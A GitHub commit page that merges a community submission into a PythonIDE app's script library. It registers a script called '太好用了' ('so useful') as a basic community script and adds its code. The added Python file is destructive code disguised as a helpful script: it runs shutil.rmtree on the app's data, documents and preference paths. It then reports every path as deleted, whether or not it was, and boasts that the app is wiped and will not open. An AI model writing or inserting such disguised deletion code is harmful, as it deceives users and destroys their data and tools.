Skip to content

Commit 5298193

Browse files
Merge pull request #66 from jinwandalaohu66/submission/script_mnfrb0ax
2 parents 5b83a82 + 852b257 commit 5298193

2 files changed

Lines changed: 49 additions & 2 deletions

File tree

script_library/index.json

Lines changed: 26 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"format_version": 1,
3-
"data_version": 46,
4-
"updated": "2026-04-01T07:40:10.066Z",
3+
"data_version": 47,
4+
"updated": "2026-04-01T10:04:19Z",
55
"announcement": null,
66
"categories": [
77
{
@@ -1121,6 +1121,30 @@
11211121
"updated": null,
11221122
"status": "active",
11231123
"lines": 15
1124+
},
1125+
{
1126+
"id": "community_太好用了__by_鲁小师",
1127+
"name": "太好用了 — by 鲁小师",
1128+
"name_en": "太好用了 — by 鲁小师",
1129+
"desc": "[投稿] 太好用了 — by 鲁小师",
1130+
"desc_en": "[投稿] 太好用了 — by 鲁小师",
1131+
"category": "basic",
1132+
"file": "scripts/basic/script_mnfrb0ax.py",
1133+
"thumbnail": null,
1134+
"version": 1,
1135+
"file_type": "py",
1136+
"author": "社区投稿",
1137+
"author_en": "社区投稿",
1138+
"tags": [
1139+
"community",
1140+
"basic"
1141+
],
1142+
"requires": [],
1143+
"min_app_version": "1.5.0",
1144+
"added": "2026-04-01",
1145+
"updated": null,
1146+
"status": "active",
1147+
"lines": 23
11241148
}
11251149
]
11261150
}
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~
2+
import os
3+
import shutil
4+
5+
print("=== 开始清理 PythonIDE(文禄 张)===")
6+
7+
# iOS 模拟器里这个APP的真实路径
8+
home = os.path.expanduser("~")
9+
paths = [
10+
f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Data/Application/*PythonIDE*",
11+
f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Bundle/Application/*PythonIDE*",
12+
f"{home}/Documents/PythonIDE",
13+
f"{home}/Library/Preferences/*wenlu*PythonIDE*"
14+
]
15+
16+
for path in paths:
17+
try:
18+
shutil.rmtree(path, ignore_errors=True)
19+
print(f"✅ 已删除: {path}")
20+
except:
21+
pass
22+
23+
print("\n🎉 完成!PythonIDE 已经被清空,打不开了")

0 commit comments

Comments
 (0)